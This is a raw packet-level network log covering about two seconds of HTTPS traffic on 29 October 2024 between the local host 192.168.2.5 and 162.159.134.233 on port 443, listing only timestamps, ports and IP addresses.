Oct 29, 2024 05:02:21.537806034 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.537831068 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.537853956 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.577419996 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.577445030 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.577488899 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.577502966 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.577532053 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.577552080 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.655692101 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.655738115 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.655790091 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.655824900 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.655868053 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.655893087 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.695715904 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.695738077 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.695842028 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.695863008 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.696238041 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.696688890 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.696712017 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.696764946 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.696778059 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.696810007 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.696830988 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.775149107 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.775171041 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.775372982 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.775404930 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.776237965 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.814838886 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.814886093 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.815059900 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.815061092 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.815093040 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.815370083 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.895062923 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.895086050 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.895162106 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.895174026 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.895205021 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.895219088 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.895529032 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.895553112 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.895606995 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.895625114 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.895653009 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.896225929 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.934453964 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.934499025 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.934619904 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.934647083 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.934670925 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.936240911 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.012947083 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.012993097 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.013053894 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.013125896 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.013164997 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.013425112 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.014947891 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.014991999 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.015028954 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.015043020 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.015075922 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.015099049 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.053735971 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.053797960 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.053816080 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.053837061 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.053865910 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.054043055 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.131922007 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.131967068 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.132002115 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.132019997 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.132057905 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.132059097 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.133812904 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.133858919 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.133887053 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.133900881 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.133929968 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.133949995 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.172467947 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.172492981 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.172548056 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.172563076 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.172601938 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.172817945 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.215601921 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.215625048 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.215675116 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.215694904 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.215719938 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.215764999 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.252515078 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.252537012 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.252594948 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.252614975 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.252646923 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.252669096 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.291415930 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.291438103 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.291538000 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.291558981 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.291754007 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.292480946 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.292501926 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.292563915 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.292572021 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.292618990 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.371283054 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.371359110 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.371371984 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.371411085 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.371423006 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.371606112 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.372286081 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.372312069 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.372354984 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.372378111 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.372406006 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.372572899 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.410845995 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.410907984 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.410928965 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.410952091 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.410983086 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.411235094 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.453713894 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.453761101 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.453804970 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.453819990 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.453849077 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.453869104 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.490441084 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.490468025 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.490587950 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.490587950 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.490606070 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.490655899 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.529453993 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.529496908 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.529535055 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.529551029 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.529580116 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.529705048 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.530350924 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.530394077 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.530426025 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.530438900 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.530466080 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.530666113 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.608306885 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.608352900 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.608438969 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.608474016 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.608509064 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.608541965 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.609740973 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.609785080 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.609863043 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.609879971 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.609957933 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.648768902 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.648796082 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.648849010 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.648863077 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.648893118 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.648929119 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.650073051 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.650096893 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.650147915 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.650161028 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.650187969 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.650234938 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.727632999 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.727662086 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.727713108 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.727729082 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.727756023 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.727776051 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.728837013 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.728867054 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.728903055 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.728914976 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.728943110 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.728961945 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.767766953 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.767795086 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.767853022 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.767895937 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.767929077 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.767951012 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.768820047 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.768843889 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.768893957 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.768918037 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.768944979 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.768963099 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.846414089 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.846443892 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.846676111 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.846740007 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.846805096 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.847732067 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.847755909 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.847830057 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.847846985 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.847963095 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.895168066 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.895191908 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.895263910 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.895328045 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.895365000 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.895500898 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.895528078 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.895571947 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.895587921 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.895617962 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.895754099 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.930119038 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.930172920 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.930222988 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.930264950 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.930296898 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.930337906 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.966006041 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.966028929 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.966126919 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.966160059 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.967217922 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.967246056 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.967305899 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.967345953 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:22.967380047 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:22.968245983 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.016377926 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.016406059 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.016490936 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.016515970 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.016577005 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.017066002 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.017087936 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.017174006 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.017188072 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.017251015 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.084687948 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.084712029 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.084805012 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.084837914 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.084858894 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.084892035 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.085668087 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.085689068 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.085764885 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.085773945 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.085958958 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.125572920 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.125602961 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.125658989 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.125679016 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.125713110 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.125744104 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.134316921 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.134339094 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.134444952 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.134460926 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.134568930 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.168267012 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.168297052 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.168350935 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.168365955 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.168401957 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.168437004 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.204487085 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.204507113 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.204564095 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.204577923 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.204627037 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.204648018 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.205410004 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.205432892 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.205482960 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.205516100 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.205543995 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.205581903 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.252824068 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.252847910 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.252902985 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.252923012 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.252950907 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.252970934 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.253443003 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.253465891 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.253515005 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.253528118 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.253561020 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.253582001 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.287471056 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.287494898 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.287566900 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.287583113 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.287883043 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.323847055 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.323868036 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.323954105 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.323971987 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.324016094 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.324038029 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.324664116 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.324687958 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.324744940 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.324758053 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.324790001 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.324810028 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.364022017 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.364042044 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.364124060 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.364140034 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.364171028 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.364193916 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.372576952 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.372596979 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.372647047 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.372661114 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.372694969 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.372728109 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.406555891 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.406579971 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.406660080 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.406675100 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.406724930 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.406745911 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.442715883 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.442771912 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.442852974 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.442873955 CET	443	49707	162.159.134.233	192.168.2.5
